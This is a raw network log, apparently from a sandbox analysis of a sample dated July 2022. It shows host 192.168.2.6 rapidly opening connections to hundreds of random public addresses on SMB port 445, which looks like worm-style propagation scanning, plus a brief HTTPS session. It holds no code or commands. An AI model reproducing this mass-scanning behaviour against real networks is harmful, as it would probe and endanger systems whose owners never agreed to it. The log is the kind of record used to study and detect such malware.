Jul 20, 2022 09:08:38.674350977 CEST	51256	445	192.168.2.6	148.0.247.135
Jul 20, 2022 09:08:38.674350023 CEST	51255	445	192.168.2.6	47.251.211.174
Jul 20, 2022 09:08:38.674436092 CEST	51257	445	192.168.2.6	116.37.237.15
Jul 20, 2022 09:08:38.674509048 CEST	51258	445	192.168.2.6	59.8.106.58
Jul 20, 2022 09:08:38.683729887 CEST	51259	445	192.168.2.6	70.21.193.199
Jul 20, 2022 09:08:38.683875084 CEST	51260	445	192.168.2.6	46.236.142.233
Jul 20, 2022 09:08:38.683893919 CEST	51261	445	192.168.2.6	14.193.86.35
Jul 20, 2022 09:08:38.683949947 CEST	51262	445	192.168.2.6	33.84.191.141
Jul 20, 2022 09:08:38.684020996 CEST	51263	445	192.168.2.6	63.215.194.37
Jul 20, 2022 09:08:38.684092999 CEST	51264	445	192.168.2.6	85.78.95.168
Jul 20, 2022 09:08:38.684197903 CEST	51265	445	192.168.2.6	197.116.199.163
Jul 20, 2022 09:08:38.684351921 CEST	51266	445	192.168.2.6	153.164.162.137
Jul 20, 2022 09:08:38.684389114 CEST	51267	445	192.168.2.6	199.194.104.70
Jul 20, 2022 09:08:38.684529066 CEST	51268	445	192.168.2.6	207.49.84.229
Jul 20, 2022 09:08:38.684586048 CEST	51269	445	192.168.2.6	188.92.106.164
Jul 20, 2022 09:08:38.684644938 CEST	51270	445	192.168.2.6	218.43.236.44
Jul 20, 2022 09:08:38.684773922 CEST	51271	445	192.168.2.6	97.35.239.42
Jul 20, 2022 09:08:38.684844971 CEST	51272	445	192.168.2.6	70.175.30.184
Jul 20, 2022 09:08:38.684973001 CEST	51273	445	192.168.2.6	136.201.32.179
Jul 20, 2022 09:08:38.685062885 CEST	51274	445	192.168.2.6	64.251.115.57
Jul 20, 2022 09:08:38.685182095 CEST	51275	445	192.168.2.6	152.0.13.84
Jul 20, 2022 09:08:38.685255051 CEST	51276	445	192.168.2.6	178.155.150.93
Jul 20, 2022 09:08:38.685422897 CEST	51277	445	192.168.2.6	179.189.7.23
Jul 20, 2022 09:08:38.695218086 CEST	51278	445	192.168.2.6	1.248.84.72
Jul 20, 2022 09:08:38.712320089 CEST	51279	445	192.168.2.6	172.181.76.130
Jul 20, 2022 09:08:38.736385107 CEST	51281	445	192.168.2.6	46.61.131.201
Jul 20, 2022 09:08:39.756428957 CEST	51286	445	192.168.2.6	73.155.175.2
Jul 20, 2022 09:08:39.786765099 CEST	51288	445	192.168.2.6	208.105.119.205
Jul 20, 2022 09:08:39.787439108 CEST	51289	445	192.168.2.6	5.113.19.105
Jul 20, 2022 09:08:39.820317030 CEST	51290	445	192.168.2.6	200.93.76.57
Jul 20, 2022 09:08:39.821197033 CEST	51291	445	192.168.2.6	36.141.90.211
Jul 20, 2022 09:08:39.822153091 CEST	51292	445	192.168.2.6	158.222.123.119
Jul 20, 2022 09:08:39.822992086 CEST	51293	445	192.168.2.6	58.212.97.104
Jul 20, 2022 09:08:39.823796034 CEST	51294	445	192.168.2.6	76.34.215.22
Jul 20, 2022 09:08:39.824661016 CEST	51295	445	192.168.2.6	201.46.58.35
Jul 20, 2022 09:08:39.825635910 CEST	51296	445	192.168.2.6	14.207.6.169
Jul 20, 2022 09:08:39.826777935 CEST	51297	445	192.168.2.6	87.169.111.12
Jul 20, 2022 09:08:39.827831030 CEST	51298	445	192.168.2.6	213.235.28.250
Jul 20, 2022 09:08:39.828222990 CEST	51299	445	192.168.2.6	9.22.26.231
Jul 20, 2022 09:08:39.828913927 CEST	51300	445	192.168.2.6	201.123.96.36
Jul 20, 2022 09:08:39.829612970 CEST	51301	445	192.168.2.6	213.236.113.11
Jul 20, 2022 09:08:39.854711056 CEST	51302	445	192.168.2.6	187.123.224.115
Jul 20, 2022 09:08:39.856283903 CEST	51303	445	192.168.2.6	194.157.42.225
Jul 20, 2022 09:08:39.856409073 CEST	51304	445	192.168.2.6	44.166.30.212
Jul 20, 2022 09:08:39.856508970 CEST	51305	445	192.168.2.6	42.86.124.112
Jul 20, 2022 09:08:39.856712103 CEST	51306	445	192.168.2.6	103.65.84.21
Jul 20, 2022 09:08:39.856755972 CEST	51307	445	192.168.2.6	45.28.114.111
Jul 20, 2022 09:08:39.856795073 CEST	51308	445	192.168.2.6	40.68.172.161
Jul 20, 2022 09:08:39.856923103 CEST	51310	445	192.168.2.6	140.136.21.155
Jul 20, 2022 09:08:39.856935978 CEST	51309	445	192.168.2.6	47.238.100.113
Jul 20, 2022 09:08:39.857052088 CEST	51312	445	192.168.2.6	136.243.204.86
Jul 20, 2022 09:08:39.857112885 CEST	51311	445	192.168.2.6	156.194.152.103
Jul 20, 2022 09:08:39.857182026 CEST	51313	445	192.168.2.6	33.64.152.254
Jul 20, 2022 09:08:39.857328892 CEST	51315	445	192.168.2.6	25.101.137.155
Jul 20, 2022 09:08:39.857362032 CEST	51316	445	192.168.2.6	98.4.237.129
Jul 20, 2022 09:08:39.857366085 CEST	51314	445	192.168.2.6	153.197.37.27
Jul 20, 2022 09:08:39.857446909 CEST	51318	445	192.168.2.6	129.233.212.101
Jul 20, 2022 09:08:39.912921906 CEST	445	51303	194.157.42.225	192.168.2.6
Jul 20, 2022 09:08:40.464378119 CEST	51321	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:40.464432955 CEST	443	51321	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:40.464659929 CEST	51321	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:40.465745926 CEST	51321	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:40.465775967 CEST	443	51321	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:40.568962097 CEST	443	51321	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:40.570113897 CEST	51321	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:40.583180904 CEST	51321	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:40.583220959 CEST	443	51321	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:40.583982944 CEST	443	51321	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:40.590895891 CEST	51321	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:40.590954065 CEST	51321	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:40.590967894 CEST	443	51321	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:40.591278076 CEST	51321	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:40.604635000 CEST	51303	445	192.168.2.6	194.157.42.225
Jul 20, 2022 09:08:40.626140118 CEST	443	51321	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:40.626230955 CEST	443	51321	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:40.634850025 CEST	51321	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:40.634872913 CEST	51321	443	192.168.2.6	20.199.120.85
Jul 20, 2022 09:08:40.634886980 CEST	443	51321	20.199.120.85	192.168.2.6
Jul 20, 2022 09:08:40.663619995 CEST	445	51303	194.157.42.225	192.168.2.6
Jul 20, 2022 09:08:40.968306065 CEST	51325	445	192.168.2.6	151.115.243.66
Jul 20, 2022 09:08:40.969000101 CEST	51326	445	192.168.2.6	161.81.151.171
Jul 20, 2022 09:08:40.969724894 CEST	51327	445	192.168.2.6	8.157.243.12
Jul 20, 2022 09:08:40.970510960 CEST	51328	445	192.168.2.6	135.199.174.136
Jul 20, 2022 09:08:40.971246958 CEST	51329	445	192.168.2.6	200.14.72.191
Jul 20, 2022 09:08:40.971977949 CEST	51330	445	192.168.2.6	197.132.157.66
Jul 20, 2022 09:08:40.972618103 CEST	51331	445	192.168.2.6	172.62.236.156
Jul 20, 2022 09:08:40.973314047 CEST	51332	445	192.168.2.6	160.98.88.121
Jul 20, 2022 09:08:40.974383116 CEST	51333	445	192.168.2.6	220.224.105.1
Jul 20, 2022 09:08:40.974666119 CEST	51334	445	192.168.2.6	215.76.47.132
Jul 20, 2022 09:08:40.975492954 CEST	51335	445	192.168.2.6	186.165.36.241
Jul 20, 2022 09:08:40.976106882 CEST	51336	445	192.168.2.6	27.119.141.14
Jul 20, 2022 09:08:40.977380037 CEST	51337	445	192.168.2.6	188.96.240.188
Jul 20, 2022 09:08:40.977555037 CEST	51338	445	192.168.2.6	25.12.29.185
Jul 20, 2022 09:08:40.978251934 CEST	51339	445	192.168.2.6	102.20.140.147
Jul 20, 2022 09:08:41.059531927 CEST	51341	445	192.168.2.6	96.39.23.5
Jul 20, 2022 09:08:41.060360909 CEST	51342	445	192.168.2.6	159.185.126.21
Jul 20, 2022 09:08:41.061233044 CEST	51343	445	192.168.2.6	110.196.14.67
Jul 20, 2022 09:08:41.062088013 CEST	51344	445	192.168.2.6	116.14.231.148
Jul 20, 2022 09:08:41.062781096 CEST	51345	445	192.168.2.6	212.237.168.225
Jul 20, 2022 09:08:41.063366890 CEST	51346	445	192.168.2.6	40.199.189.227
Jul 20, 2022 09:08:41.063925028 CEST	51347	445	192.168.2.6	215.15.136.119
Jul 20, 2022 09:08:41.064661026 CEST	51348	445	192.168.2.6	37.61.62.21
Jul 20, 2022 09:08:41.065728903 CEST	51349	445	192.168.2.6	75.48.109.61
Jul 20, 2022 09:08:41.066528082 CEST	51350	445	192.168.2.6	114.209.90.22
Jul 20, 2022 09:08:41.067225933 CEST	51351	445	192.168.2.6	208.102.123.225
Jul 20, 2022 09:08:41.067919970 CEST	51352	445	192.168.2.6	80.103.45.126
Jul 20, 2022 09:08:41.068813086 CEST	51353	445	192.168.2.6	39.114.6.77
Jul 20, 2022 09:08:41.071762085 CEST	51354	445	192.168.2.6	119.194.85.5
Jul 20, 2022 09:08:41.073345900 CEST	51356	445	192.168.2.6	18.181.43.254
Jul 20, 2022 09:08:41.074070930 CEST	51357	445	192.168.2.6	19.108.42.94
Jul 20, 2022 09:08:42.158250093 CEST	445	51311	156.194.152.103	192.168.2.6
Jul 20, 2022 09:08:42.201356888 CEST	51363	445	192.168.2.6	212.27.33.166
Jul 20, 2022 09:08:42.201936960 CEST	51364	445	192.168.2.6	22.77.13.25
Jul 20, 2022 09:08:42.202603102 CEST	51365	445	192.168.2.6	75.180.17.238
Jul 20, 2022 09:08:42.203749895 CEST	51366	445	192.168.2.6	172.85.74.97
Jul 20, 2022 09:08:42.206707954 CEST	51370	445	192.168.2.6	52.217.48.16
Jul 20, 2022 09:08:42.207307100 CEST	51371	445	192.168.2.6	22.64.79.5
Jul 20, 2022 09:08:42.207453966 CEST	51369	445	192.168.2.6	96.128.68.38
Jul 20, 2022 09:08:42.207935095 CEST	51372	445	192.168.2.6	22.216.92.74
Jul 20, 2022 09:08:42.208935022 CEST	51373	445	192.168.2.6	6.221.19.98
Jul 20, 2022 09:08:42.209125042 CEST	51374	445	192.168.2.6	200.171.19.119
Jul 20, 2022 09:08:42.209872007 CEST	51375	445	192.168.2.6	144.150.77.27
Jul 20, 2022 09:08:42.210215092 CEST	51376	445	192.168.2.6	121.0.69.236
Jul 20, 2022 09:08:42.210756063 CEST	51377	445	192.168.2.6	70.159.44.71
Jul 20, 2022 09:08:42.211343050 CEST	51378	445	192.168.2.6	183.144.43.216
Jul 20, 2022 09:08:42.211972952 CEST	51379	445	192.168.2.6	137.43.70.251
Jul 20, 2022 09:08:42.212511063 CEST	51380	445	192.168.2.6	204.56.32.220
Jul 20, 2022 09:08:42.492065907 CEST	51381	445	192.168.2.6	218.90.11.149
Jul 20, 2022 09:08:42.492332935 CEST	51383	445	192.168.2.6	199.172.214.74
Jul 20, 2022 09:08:42.492446899 CEST	51384	445	192.168.2.6	190.41.78.163
Jul 20, 2022 09:08:42.492554903 CEST	51385	445	192.168.2.6	12.177.199.198
Jul 20, 2022 09:08:42.492650986 CEST	51386	445	192.168.2.6	92.126.125.69
Jul 20, 2022 09:08:42.492758036 CEST	51387	445	192.168.2.6	214.189.190.6
Jul 20, 2022 09:08:42.492845058 CEST	51388	445	192.168.2.6	156.18.239.94
Jul 20, 2022 09:08:42.492949963 CEST	51389	445	192.168.2.6	16.38.112.252
Jul 20, 2022 09:08:42.493031979 CEST	51390	445	192.168.2.6	119.90.106.140
Jul 20, 2022 09:08:42.493124962 CEST	51391	445	192.168.2.6	203.99.108.3
Jul 20, 2022 09:08:42.493216038 CEST	51392	445	192.168.2.6	164.65.174.44
Jul 20, 2022 09:08:42.493314028 CEST	51393	445	192.168.2.6	165.55.99.135
Jul 20, 2022 09:08:42.493918896 CEST	51394	445	192.168.2.6	29.190.197.127
Jul 20, 2022 09:08:42.494934082 CEST	51395	445	192.168.2.6	142.89.123.175
Jul 20, 2022 09:08:43.761029005 CEST	51397	445	192.168.2.6	2.8.140.1
Jul 20, 2022 09:08:43.780396938 CEST	51398	445	192.168.2.6	184.184.57.132
Jul 20, 2022 09:08:43.780544043 CEST	51400	445	192.168.2.6	219.210.232.62
Jul 20, 2022 09:08:43.780659914 CEST	51399	445	192.168.2.6	124.29.104.5
Jul 20, 2022 09:08:43.780760050 CEST	51401	445	192.168.2.6	184.82.237.220
Jul 20, 2022 09:08:43.780863047 CEST	51402	445	192.168.2.6	61.144.5.104
Jul 20, 2022 09:08:43.780961037 CEST	51403	445	192.168.2.6	187.163.13.31
Jul 20, 2022 09:08:43.781056881 CEST	51404	445	192.168.2.6	44.58.50.58
Jul 20, 2022 09:08:43.781147957 CEST	51405	445	192.168.2.6	103.68.15.196
Jul 20, 2022 09:08:43.781248093 CEST	51406	445	192.168.2.6	223.174.27.5
Jul 20, 2022 09:08:43.781337976 CEST	51407	445	192.168.2.6	132.21.7.173
Jul 20, 2022 09:08:43.781435966 CEST	51408	445	192.168.2.6	82.234.73.243
Jul 20, 2022 09:08:43.781537056 CEST	51409	445	192.168.2.6	39.221.196.221
Jul 20, 2022 09:08:43.781632900 CEST	51410	445	192.168.2.6	183.64.178.183
Jul 20, 2022 09:08:43.781737089 CEST	51411	445	192.168.2.6	166.186.253.169
Jul 20, 2022 09:08:43.781840086 CEST	51412	445	192.168.2.6	16.33.94.132
Jul 20, 2022 09:08:43.781933069 CEST	51413	445	192.168.2.6	87.96.249.17
Jul 20, 2022 09:08:43.782037020 CEST	51414	445	192.168.2.6	21.48.101.39
Jul 20, 2022 09:08:43.782133102 CEST	51415	445	192.168.2.6	193.215.238.202
Jul 20, 2022 09:08:43.782228947 CEST	51416	445	192.168.2.6	68.202.253.76
Jul 20, 2022 09:08:43.782321930 CEST	51417	445	192.168.2.6	60.108.105.4
Jul 20, 2022 09:08:43.782417059 CEST	51418	445	192.168.2.6	163.155.210.71
Jul 20, 2022 09:08:43.782501936 CEST	51419	445	192.168.2.6	177.168.31.230
Jul 20, 2022 09:08:43.782684088 CEST	51421	445	192.168.2.6	166.108.205.104
Jul 20, 2022 09:08:43.782784939 CEST	51422	445	192.168.2.6	9.225.45.195
Jul 20, 2022 09:08:43.782890081 CEST	51423	445	192.168.2.6	24.92.199.22
Jul 20, 2022 09:08:43.782982111 CEST	51424	445	192.168.2.6	113.244.171.4
Jul 20, 2022 09:08:43.783341885 CEST	51431	445	192.168.2.6	49.147.220.108
Jul 20, 2022 09:08:43.783480883 CEST	51433	445	192.168.2.6	120.239.70.97
Jul 20, 2022 09:08:43.783577919 CEST	51434	445	192.168.2.6	143.254.72.253
Jul 20, 2022 09:08:43.783688068 CEST	51435	445	192.168.2.6	200.251.196.192
Jul 20, 2022 09:08:44.085305929 CEST	445	51417	60.108.105.4	192.168.2.6
Jul 20, 2022 09:08:44.663822889 CEST	51417	445	192.168.2.6	60.108.105.4
Jul 20, 2022 09:08:44.868205070 CEST	51437	445	192.168.2.6	151.72.51.221
Jul 20, 2022 09:08:44.901825905 CEST	51438	445	192.168.2.6	43.29.217.107
Jul 20, 2022 09:08:44.912381887 CEST	51439	445	192.168.2.6	69.126.69.13
Jul 20, 2022 09:08:44.923269033 CEST	51440	445	192.168.2.6	147.209.213.54
Jul 20, 2022 09:08:44.923276901 CEST	51441	445	192.168.2.6	87.188.18.62
Jul 20, 2022 09:08:44.923392057 CEST	51443	445	192.168.2.6	79.127.196.151
Jul 20, 2022 09:08:44.923635006 CEST	51450	445	192.168.2.6	116.98.216.115
Jul 20, 2022 09:08:44.923669100 CEST	51451	445	192.168.2.6	109.117.21.151
Jul 20, 2022 09:08:44.923774004 CEST	51452	445	192.168.2.6	112.210.202.176
Jul 20, 2022 09:08:44.923793077 CEST	51453	445	192.168.2.6	67.251.104.178
Jul 20, 2022 09:08:44.923893929 CEST	51455	445	192.168.2.6	21.240.32.248
Jul 20, 2022 09:08:44.923934937 CEST	51456	445	192.168.2.6	52.186.76.120
Jul 20, 2022 09:08:44.924046993 CEST	51458	445	192.168.2.6	69.101.118.207
Jul 20, 2022 09:08:44.924072027 CEST	51457	445	192.168.2.6	175.117.239.8
Jul 20, 2022 09:08:44.924143076 CEST	51459	445	192.168.2.6	197.198.214.245
Jul 20, 2022 09:08:44.924175978 CEST	51460	445	192.168.2.6	156.194.77.195
Jul 20, 2022 09:08:44.924243927 CEST	51462	445	192.168.2.6	172.131.125.202
Jul 20, 2022 09:08:44.924262047 CEST	51461	445	192.168.2.6	80.31.200.176
Jul 20, 2022 09:08:44.924307108 CEST	51463	445	192.168.2.6	8.16.206.118
Jul 20, 2022 09:08:44.924367905 CEST	51464	445	192.168.2.6	54.187.250.144
Jul 20, 2022 09:08:44.924402952 CEST	51465	445	192.168.2.6	125.214.42.204
Jul 20, 2022 09:08:44.924458981 CEST	51466	445	192.168.2.6	50.165.15.249
Jul 20, 2022 09:08:44.924519062 CEST	51467	445	192.168.2.6	86.66.213.138
Jul 20, 2022 09:08:44.924573898 CEST	51468	445	192.168.2.6	7.18.221.251
Jul 20, 2022 09:08:44.924633026 CEST	51469	445	192.168.2.6	145.115.89.88
Jul 20, 2022 09:08:44.924819946 CEST	51470	445	192.168.2.6	84.173.77.62
Jul 20, 2022 09:08:44.924834013 CEST	51471	445	192.168.2.6	100.19.53.80
Jul 20, 2022 09:08:44.924977064 CEST	51472	445	192.168.2.6	188.31.2.190
Jul 20, 2022 09:08:44.925041914 CEST	51474	445	192.168.2.6	69.55.34.14
Jul 20, 2022 09:08:44.925048113 CEST	51473	445	192.168.2.6	64.196.201.57
Jul 20, 2022 09:08:44.925124884 CEST	51475	445	192.168.2.6	170.139.38.98
Jul 20, 2022 09:08:44.966881037 CEST	445	51417	60.108.105.4	192.168.2.6
Jul 20, 2022 09:08:45.992252111 CEST	51477	445	192.168.2.6	214.132.107.74
Jul 20, 2022 09:08:46.021529913 CEST	51478	445	192.168.2.6	169.19.73.81
Jul 20, 2022 09:08:46.021645069 CEST	51479	445	192.168.2.6	65.12.199.31
Jul 20, 2022 09:08:46.036654949 CEST	51480	445	192.168.2.6	18.1.84.121
Jul 20, 2022 09:08:46.037179947 CEST	51481	445	192.168.2.6	144.117.200.24
Jul 20, 2022 09:08:46.037693024 CEST	51482	445	192.168.2.6	138.233.28.184
Jul 20, 2022 09:08:46.038176060 CEST	51483	445	192.168.2.6	202.170.81.19
Jul 20, 2022 09:08:46.038701057 CEST	51484	445	192.168.2.6	206.97.206.122
Jul 20, 2022 09:08:46.039242983 CEST	51485	445	192.168.2.6	202.41.65.12
Jul 20, 2022 09:08:46.039773941 CEST	51486	445	192.168.2.6	191.219.173.132
Jul 20, 2022 09:08:46.040302992 CEST	51487	445	192.168.2.6	89.221.5.10
Jul 20, 2022 09:08:46.060499907 CEST	51488	445	192.168.2.6	60.2.16.144
Jul 20, 2022 09:08:46.062432051 CEST	51489	445	192.168.2.6	156.101.154.15
Jul 20, 2022 09:08:46.062455893 CEST	51490	445	192.168.2.6	118.22.196.120
Jul 20, 2022 09:08:46.062575102 CEST	51491	445	192.168.2.6	8.62.215.59
Jul 20, 2022 09:08:46.062676907 CEST	51494	445	192.168.2.6	212.199.114.87
Jul 20, 2022 09:08:46.062683105 CEST	51492	445	192.168.2.6	145.33.40.244
Jul 20, 2022 09:08:46.062706947 CEST	51493	445	192.168.2.6	65.108.185.147
Jul 20, 2022 09:08:46.062810898 CEST	51495	445	192.168.2.6	49.145.21.95
Jul 20, 2022 09:08:46.062829018 CEST	51496	445	192.168.2.6	195.132.94.204
Jul 20, 2022 09:08:46.062930107 CEST	51498	445	192.168.2.6	137.223.182.240
Jul 20, 2022 09:08:46.062951088 CEST	51497	445	192.168.2.6	163.1.223.148
Jul 20, 2022 09:08:46.063091040 CEST	51500	445	192.168.2.6	112.125.40.151
Jul 20, 2022 09:08:46.063214064 CEST	51502	445	192.168.2.6	136.37.11.96
Jul 20, 2022 09:08:46.063226938 CEST	51501	445	192.168.2.6	219.36.139.185
Jul 20, 2022 09:08:46.063361883 CEST	51503	445	192.168.2.6	216.245.173.21
Jul 20, 2022 09:08:46.063591957 CEST	51511	445	192.168.2.6	186.20.117.72
Jul 20, 2022 09:08:46.063654900 CEST	51512	445	192.168.2.6	197.146.226.0
Jul 20, 2022 09:08:46.063774109 CEST	51514	445	192.168.2.6	157.236.175.80
Jul 20, 2022 09:08:46.063796043 CEST	51513	445	192.168.2.6	147.6.244.154
Jul 20, 2022 09:08:46.063879967 CEST	51515	445	192.168.2.6	182.162.182.166
Jul 20, 2022 09:08:47.100183964 CEST	51518	445	192.168.2.6	190.2.74.43
Jul 20, 2022 09:08:47.156368971 CEST	51519	445	192.168.2.6	221.11.42.39
Jul 20, 2022 09:08:47.156691074 CEST	51520	445	192.168.2.6	159.213.90.162
Jul 20, 2022 09:08:47.156754971 CEST	51521	445	192.168.2.6	12.94.94.51
Jul 20, 2022 09:08:47.156758070 CEST	51522	445	192.168.2.6	204.158.200.5
Jul 20, 2022 09:08:47.156841993 CEST	51523	445	192.168.2.6	179.230.153.183
Jul 20, 2022 09:08:47.156871080 CEST	51524	445	192.168.2.6	214.207.172.245
Jul 20, 2022 09:08:47.156991005 CEST	51525	445	192.168.2.6	42.252.31.206
Jul 20, 2022 09:08:47.157028913 CEST	51526	445	192.168.2.6	178.35.59.254
Jul 20, 2022 09:08:47.157108068 CEST	51527	445	192.168.2.6	136.134.0.224
Jul 20, 2022 09:08:47.157181978 CEST	51528	445	192.168.2.6	141.39.44.110
Jul 20, 2022 09:08:47.171685934 CEST	51529	445	192.168.2.6	71.18.200.67
Jul 20, 2022 09:08:47.176198006 CEST	51530	445	192.168.2.6	7.46.216.149
Jul 20, 2022 09:08:47.176250935 CEST	51531	445	192.168.2.6	113.229.226.176
Jul 20, 2022 09:08:47.176408052 CEST	51532	445	192.168.2.6	14.227.234.198
Jul 20, 2022 09:08:47.176436901 CEST	51533	445	192.168.2.6	37.154.66.76
Jul 20, 2022 09:08:47.176577091 CEST	51534	445	192.168.2.6	144.105.183.8
Jul 20, 2022 09:08:47.176595926 CEST	51535	445	192.168.2.6	165.103.55.221
Jul 20, 2022 09:08:47.177944899 CEST	51536	445	192.168.2.6	35.186.163.3
Jul 20, 2022 09:08:47.178101063 CEST	51537	445	192.168.2.6	183.144.188.73
Jul 20, 2022 09:08:47.178210974 CEST	51538	445	192.168.2.6	6.253.248.76
Jul 20, 2022 09:08:47.178224087 CEST	51539	445	192.168.2.6	183.125.181.10
Jul 20, 2022 09:08:47.178390026 CEST	51540	445	192.168.2.6	119.228.42.83
Jul 20, 2022 09:08:47.178525925 CEST	51542	445	192.168.2.6	186.66.81.54
Jul 20, 2022 09:08:47.178540945 CEST	51543	445	192.168.2.6	142.250.243.150
Jul 20, 2022 09:08:47.178729057 CEST	51546	445	192.168.2.6	29.226.142.10
Jul 20, 2022 09:08:47.178975105 CEST	51552	445	192.168.2.6	192.121.200.7
Jul 20, 2022 09:08:47.179029942 CEST	51553	445	192.168.2.6	104.166.89.201
Jul 20, 2022 09:08:47.179141045 CEST	51554	445	192.168.2.6	195.193.216.147
Jul 20, 2022 09:08:47.179280043 CEST	51555	445	192.168.2.6	176.176.138.145
Jul 20, 2022 09:08:47.179280996 CEST	51556	445	192.168.2.6	202.129.3.198
Jul 20, 2022 09:08:47.301776886 CEST	50843	445	192.168.2.6	201.187.246.3
Jul 20, 2022 09:08:47.348649979 CEST	445	51553	104.166.89.201	192.168.2.6
Jul 20, 2022 09:08:47.958414078 CEST	51553	445	192.168.2.6	104.166.89.201
Jul 20, 2022 09:08:47.971007109 CEST	445	51490	118.22.196.120	192.168.2.6
Jul 20, 2022 09:08:48.226100922 CEST	51559	445	192.168.2.6	59.123.125.135
Jul 20, 2022 09:08:48.237608910 CEST	445	51553	104.166.89.201	192.168.2.6
Jul 20, 2022 09:08:48.275190115 CEST	51560	445	192.168.2.6	203.109.80.24
Jul 20, 2022 09:08:48.275198936 CEST	51561	445	192.168.2.6	13.150.37.136
Jul 20, 2022 09:08:48.275266886 CEST	51563	445	192.168.2.6	90.48.210.63
Jul 20, 2022 09:08:48.275290012 CEST	51562	445	192.168.2.6	89.194.57.35
Jul 20, 2022 09:08:48.275398970 CEST	51564	445	192.168.2.6	88.193.30.43
Jul 20, 2022 09:08:48.275401115 CEST	51565	445	192.168.2.6	13.40.141.156
Jul 20, 2022 09:08:48.275463104 CEST	51566	445	192.168.2.6	179.141.217.84
Jul 20, 2022 09:08:48.275559902 CEST	51567	445	192.168.2.6	94.129.8.152
Jul 20, 2022 09:08:48.275626898 CEST	51568	445	192.168.2.6	205.92.8.85
Jul 20, 2022 09:08:48.275665045 CEST	51569	445	192.168.2.6	5.101.163.245
Jul 20, 2022 09:08:48.287223101 CEST	51570	445	192.168.2.6	93.48.9.184
Jul 20, 2022 09:08:48.304588079 CEST	51573	445	192.168.2.6	222.106.108.64
Jul 20, 2022 09:08:48.308402061 CEST	51578	445	192.168.2.6	32.109.163.31
Jul 20, 2022 09:08:48.309041977 CEST	51579	445	192.168.2.6	91.35.176.67
Jul 20, 2022 09:08:48.320404053 CEST	51580	445	192.168.2.6	51.208.211.225
Jul 20, 2022 09:08:48.324460030 CEST	51581	445	192.168.2.6	212.204.245.170
Jul 20, 2022 09:08:48.324565887 CEST	51582	445	192.168.2.6	126.177.202.138
Jul 20, 2022 09:08:48.324827909 CEST	51583	445	192.168.2.6	58.145.191.114
Jul 20, 2022 09:08:48.342358112 CEST	51584	445	192.168.2.6	72.177.190.155
Jul 20, 2022 09:08:48.342462063 CEST	51585	445	192.168.2.6	121.164.94.38
Jul 20, 2022 09:08:48.342638016 CEST	51586	445	192.168.2.6	82.171.74.250
Jul 20, 2022 09:08:48.342722893 CEST	51587	445	192.168.2.6	97.32.141.46
Jul 20, 2022 09:08:48.342817068 CEST	51588	445	192.168.2.6	90.35.141.35
Jul 20, 2022 09:08:48.342888117 CEST	51589	445	192.168.2.6	36.218.107.76
Jul 20, 2022 09:08:48.343224049 CEST	51590	445	192.168.2.6	100.74.49.63
Jul 20, 2022 09:08:48.343677044 CEST	51592	445	192.168.2.6	132.222.4.208
Jul 20, 2022 09:08:48.343698025 CEST	51593	445	192.168.2.6	25.121.180.1
Jul 20, 2022 09:08:48.343828917 CEST	51595	445	192.168.2.6	177.126.98.78
Jul 20, 2022 09:08:48.343866110 CEST	51596	445	192.168.2.6	68.249.82.220
Jul 20, 2022 09:08:48.343967915 CEST	51597	445	192.168.2.6	211.221.225.185
Jul 20, 2022 09:08:48.598753929 CEST	50874	445	192.168.2.6	201.187.246.3
Jul 20, 2022 09:08:49.345139027 CEST	51601	445	192.168.2.6	102.21.23.78
Jul 20, 2022 09:08:49.381237984 CEST	51602	445	192.168.2.6	85.82.234.34
Jul 20, 2022 09:08:49.381872892 CEST	51603	445	192.168.2.6	191.67.147.126
Jul 20, 2022 09:08:49.382546902 CEST	51604	445	192.168.2.6	25.113.128.164
Jul 20, 2022 09:08:49.383415937 CEST	51605	445	192.168.2.6	24.5.188.1
Jul 20, 2022 09:08:49.384115934 CEST	51606	445	192.168.2.6	169.191.21.115
Jul 20, 2022 09:08:49.384788036 CEST	51607	445	192.168.2.6	210.152.21.55
Jul 20, 2022 09:08:49.386074066 CEST	51608	445	192.168.2.6	92.243.222.39
Jul 20, 2022 09:08:49.386794090 CEST	51609	445	192.168.2.6	47.111.46.65
Jul 20, 2022 09:08:49.387624025 CEST	51610	445	192.168.2.6	90.182.190.163
Jul 20, 2022 09:08:49.388375044 CEST	51611	445	192.168.2.6	194.112.166.204
Jul 20, 2022 09:08:49.412350893 CEST	51612	445	192.168.2.6	217.240.110.104
Jul 20, 2022 09:08:49.429719925 CEST	51615	445	192.168.2.6	173.19.51.162
Jul 20, 2022 09:08:49.430499077 CEST	51616	445	192.168.2.6	14.54.9.202
Jul 20, 2022 09:08:49.448719978 CEST	51619	445	192.168.2.6	81.159.222.120
Jul 20, 2022 09:08:49.461770058 CEST	51622	445	192.168.2.6	218.135.184.23
Jul 20, 2022 09:08:49.462693930 CEST	51623	445	192.168.2.6	154.60.149.186
Jul 20, 2022 09:08:49.463424921 CEST	51624	445	192.168.2.6	164.114.217.174
Jul 20, 2022 09:08:49.467611074 CEST	51625	445	192.168.2.6	95.153.97.147
Jul 20, 2022 09:08:49.471245050 CEST	51627	445	192.168.2.6	193.37.156.64
Jul 20, 2022 09:08:49.471324921 CEST	51629	445	192.168.2.6	113.126.174.228
Jul 20, 2022 09:08:49.471446991 CEST	51631	445	192.168.2.6	39.0.92.189
Jul 20, 2022 09:08:49.471470118 CEST	51630	445	192.168.2.6	95.229.99.162
Jul 20, 2022 09:08:49.471601009 CEST	51632	445	192.168.2.6	37.251.62.164
Jul 20, 2022 09:08:49.471647024 CEST	51633	445	192.168.2.6	5.224.75.225
Jul 20, 2022 09:08:49.471707106 CEST	51634	445	192.168.2.6	157.43.210.110
Jul 20, 2022 09:08:49.471820116 CEST	51636	445	192.168.2.6	218.18.154.243
Jul 20, 2022 09:08:49.471957922 CEST	51638	445	192.168.2.6	56.251.107.198
